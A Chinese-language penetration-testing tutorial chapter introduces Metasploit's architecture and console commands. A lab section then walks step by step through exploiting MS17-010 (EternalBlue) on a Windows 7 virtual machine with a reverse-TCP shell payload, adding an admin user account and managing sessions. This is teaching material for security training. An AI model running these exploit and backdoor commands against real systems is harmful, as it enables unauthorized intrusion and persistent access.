目录
4.3 实战1-使用 msf 渗透攻击 Win7 主机并远程执行命令
4.3.1 通过 msf 模块获取 Win7 主机远程 shell
4.1 Metasploit渗透测试框架介绍
4.1.1 Metasploit 体系框架
1、基础库:metasploit 基础库文件位于源码根目录路径下的 lib 目录中,包括rex、frameworkcore 和 framework-base 三部分。 rex 是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端 实 现、日志子系统、渗透攻击支持例程、PostgreSQL 以及 MySQL 数据库支持等; framework-core 库负责实现所有与各种类型的上层模块及插件的交互接口; framework-base 库扩展了 framework-core,提供更加简单的包装例程,并为处理框架各个方面 的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块;
2、模块:模块组织按照不同的用途分为 七种类型的模块(modules): 辅助模块(auxiliary)、渗 透攻击模块(exploits)、后渗透攻击模块(post)、攻击载荷模块(payloads)、编码器模块 (encoders)、空指令模块(nops)、绕过模块(evasion)。 注:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以 进行程序注入等。
3、插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有 的一些外部安全工具,如 Nessus、OpenVAS 漏洞扫描器等,为用户接口提供一些新的功能。
4、接口:包括 msfconsole 控制终端、msfcli 命令行、msfgui 图形化界面、armitage 图形化界 面 以及 msfapi 远程调用接口。
5、功能程序: metasploit 还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快 速地利用 metasploit 框架内部能力完成一些特定任务。比如 msfpayload、msfencode 和 msfvenom 可以将攻击载荷封装为可执行文件、C 语言、JavaScript 语言等多种形式,并可以进行各种 类型的编 码。
4.2 Metasploit 基本使用方法
4.2.1 Metasploit 基本命令
Metasploit 程序需要使用 Postgresql 数据库。 注:PostgreSQL:世界上最先进的开源关系数据库 【 Relational [rɪˈleɪʃənl] 关系型 】
手动启动数据库
root@xuegod53:~# systemctl start postgresql
root@xuegod53:~# systemctl enable postgresql #设置成开机自动启动数据库。
启动 Metasploit,启动方式有两种。
第一种点击图标
注:每次弹出的欢迎信息都是随机的。这次弹出的提示欢迎是一只兔子。
第二种使用终端命令
root@xuegod53:~# msfconsole
第一次启动程序会是初始化应用程序。
启动完成后会有一些统计信息,比如说版本号,有多少个 exploits,多少个 payloads 等。 msf5 > help #使用? 或help,查看帮助信息。
注:通过 help 查看帮助,可以对 msf 有个整体认识,可以看到 msf 相关命令可以分成以下类型: Core Commands #核心命令
Module Commands #模块命令
Job Commands #后台任务命令
Resource Script Commands #资源脚本命令
Database Backend Commands #数据库后端命令
Credentials Backend Commands #证书/凭证后端命令
Developer Commands #开发人员命令
4.2.2 常用的命令
使用最多的命令:show、search、use、set、run/exploit
1、核心命令中的 connect 命令
connect 命令主要用于远程连接主机。一般用于内网渗透。比较常用的命令就是“connect 192.168.1.1 80”
192.168.1.1 是 IP 地址 80 是端口号。
查看 connect 命令参数: msf5 > connect #直接回车
连接目标 80 端口 msf5 > connect xuegod.cn 80 #连接上后在另一行,直接输入 get / [*] Connected to xuegod.cn:80 get / #提交一个 get 请求,可以查看到服务器版本号
HTTP/1.1 400 Bad Request
Server : nginx/1.6.2
Date: Sat, 29 Jun 2019 09:54:16 GMT
Content-Type: text/html
Content-Length: 172
Connection: close
2、模块相关的命令 show 使用方法 show 命令用的很多。
“show”命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options
例 1:列出 metasploit 框架中的所有渗透攻击模块 exploits。
msf5 > show exploits #列出 metasploit 框架中的所有渗透攻击模块。该命令列出数据较多,较为耗费时间。
msf5 > show payloads #列出 metasploit 框架中的所有攻击载荷。
msf5 > show auxiliary #列出 metasploit 框架中的所有辅助攻击载荷。
互动:使用 show 命令,执行很慢,怎么办?
3、模块相关的命令 search 搜索的使用方法
当你使用 msfconsole 的时候,你会用到各种漏洞模块、各种插件等等。所以 search 搜索命令就很 重 要。
当你输入 search –h 会列出 search 命令的一些选项。
msf5 > search -h
Usage: search [ options ] #search 后主要加选项和关键字
例 1:通过 name 关键字进行查找 这里需要用到 name:命令。
msf5 > search mysql # search 后直接跟要查找内容,查得很广泛。只有当你对漏洞名字很描述 很清 楚时,使用这个方法
例:先查找出自己想要的 ms08_067 漏洞模块。
msf5 > search ms08_067
语法:Search Keywords 参数:关键字
比如 msf5 > search name:mysql #要查找 mysql 数据库的漏洞
每列的含意是: Name Disclosure Date Rank Check Description
名称 披露日期 排名 检查 说明
【 注释:Disclosure [dɪsˈkləʊʒə(r)] 揭露;透露;公开; rank [ræŋk] 等级 ,rank 通常用来描述漏 洞级别 】
例 2:通过路径进行查找 有时候,我们只记得模块的路径,但是却忘记了模块的名称。那么就可以用 path:命令查找在该路 径下的所有模块。如果我要 mysql 路径下的所有 mysql 利用模块,那么就输入: msf5 > search path:mysql
例 3:缩小查询范围 关键字:platform [ˈplætfɔːm] 平台
作用: Modules affecting this platform 即:列出可以影响此平台的模块,也就是比较好的漏洞 有时候我们会搜索到大量的模块,那么可以用 platform:命令来缩小查询范围。使用 platform 命 令后,所查询的结果会列出 rank 比较高的模块。如果我要查找 mysql 的漏洞,那么输入: msf5 > search platform:mysql
注:大家对比一下上面的截图,发现没有,所有 rank 为 normal 的模块全部都屏蔽了,只剩下几个 比较高级的利用模块。
例 4:通过类型进行查找 这里要使用到 type:命令。
type : 特定类型的模块(exploit, payload, auxiliary, encoder, evasion, post, or nop) 要搜索 exploit 模块,那么就输入: msf5 > search type:exploit
例 5:联合查找 大家可以使用上面的参数自行搭配使用。如果我要查找 mysql 的 exploit 相关漏洞。那么输入:
msf5 > search name:mysql type:exploit
注:MySQL yaSSL CertDecoder ::GetName Buffer Overflow 的意思是: mysql yassl certdecoder ::getname 缓冲区溢出漏洞
例 6:根据 CVE 搜索 exploit 相关模块 查找:CVE-2017-8464 远程命令执行漏洞
msf5 > search cve:CVE-2017-8464 type:exploit
msf5 > search cve:2018 name:linux #查找 2018 年 linux 相关的漏洞模块
搜索参数可以组合使用,可以更精准的查询到对应的模块。
4、模块相关的命令 use 的使用方法
use 使用参数。如你要使用到某个模块,就要使用到 use 命令 语法:use 模块的名字
(1) 先查找出自己想要的 ms08_067 漏洞模块。
msf5 > search ms08_067
互动:以下 3 个种搜索方式,找出来的结果一样吗?
msf5 > search ms08_067 #使用下划线
msf5 > search ms08-067 #使用减号
msf5 > search MS08-067 #使用大写字母 MS
答:???
(2) 装载一个渗透攻击模块
msf5 > use exploit/windows/smb/ms08_067_netapi
我们可以看到使用 use 装载模块后我们的 bash 提示符会变成对应的模块信息。稍后我们使用这个模 块 进行攻击。
msf5 exploit(windows/smb/ms08_067_netapi) > back #back 退出当前调用的模块
5、模块相关的命令 info 的使用方法
info :显示模块的相关信息。
方法 1:info 模块名称
msf5 > info exploit/windows/smb/ms08_067_netapi
方法 2:use 装载模块后直接使用 info
msf5 > use exploit/windows/smb/ms08_067_netapi
从弹出的消息中,需要重点关注的内容是:
(1) 可用目标,就是查看可以攻击哪些操作系统
(2) Basic options: 调用漏洞需要的相关参数
(3) 漏洞描述和执行过程:
(4) 参考文档
4.3 实战1-使用 msf 渗透攻击 Win7 主机并远程执行命令
4.3.1 通过 msf 模块获取 Win7 主机远程 shell
Win7 旗舰版 SP1-64 位免安装版(已激活)密码:123456,下载解压后用 VMware 直接打开即 可
( @_@见网盘上“课程资料 > 虚拟机” 的共享文件夹 ) ―――――――――――――――――――――――――――――――――――――――
模块的整体使用流程如下:
我们先扫描目标是否存在 ms17_010 漏洞
msf5 > search ms17_010
使用 use 命令选中这个模块
msf5 > use auxiliary/scanner/smb/smb_ms17_010
查看模块需要配置的信息
msf5 auxiliary(scanner/smb/smb_ms17_010) > show options
需要我们配置 RHOST 主机 IP
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.56
开始扫描
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
目标看起来易受攻击,也就表示可能存在相关漏洞。
查找攻击模块
msf5 > search ms17-010
使用 use 命令加载模块
msf5 > use exploit/windows/smb/ms17_010_eternalblue msf5
exploit(windows/smb/ms17_010_eternalblue) > show options
设置目标主机 IP
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.56
查看 exploit target 目标类型:
msf5 exploit(windows/smb/ms17_010_eternalblue) > show targets
可以看到这个模块只有一个 target,所以默认就选择这个目标系统。不需要手动设置。 我们已经配置好漏洞相关参数了,接下来应该做什么?
找一个 payload,获取 shell 远程连接权限后,进行远程执行命令
msf5 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell type:payload
注:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以 进行程序注入等。
我们挑选一个反弹 shell 的 payloads
注:设置的时候 payload 和 windows 之间有空格。
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp
查看一下 payloads 需要配置什么信息
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options #查看加载到的payload 信息
设置一下本机 payload 监听地址
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.53
配置完成后开始执行
【 exploit [ɪkˈsplɔɪt] 运用;利用; 】
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
注:如果等待没有出现 shell 提示符可以敲一下回车。
直接执行的话会获得目标主机的 shell 使用 DOS
命令创建用户
C:\Windows\system32>net user admin admin /add
显示乱码但是已经添加成功 拓展:解决乱码问题(乱码是因为 windows 和 linux 的编码不一样导致的)
C:\Windows\system32>chcp 65001
查看用户
C:\Windows\system32>net user
可以看到新建的用户已经创建成功。
查看拿到的用户权限
C:\Windows\system32>whoami
关闭链接 Ctrl+c Abort session 1? [y/N] y
实战:通过会话进行连接目标机
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit -j
-j 表示后台执行,渗透目标完成后会创建一个 session 我们可以通过 session 连接目标主机。
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions
通过会话 Id 进入会话
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 4
退出会话将会话保存到后台
C:\Windows\system32>background
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions
根据会话 Id 结束会话
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions -k 4
总结:
使用 metasploit 攻击的步骤:
1、查找 CVE 公布的漏洞
2、查找对应的 exploit 模块
3、配置模块参数
4、添加 payload 后门
5、执行 exploit 开始攻击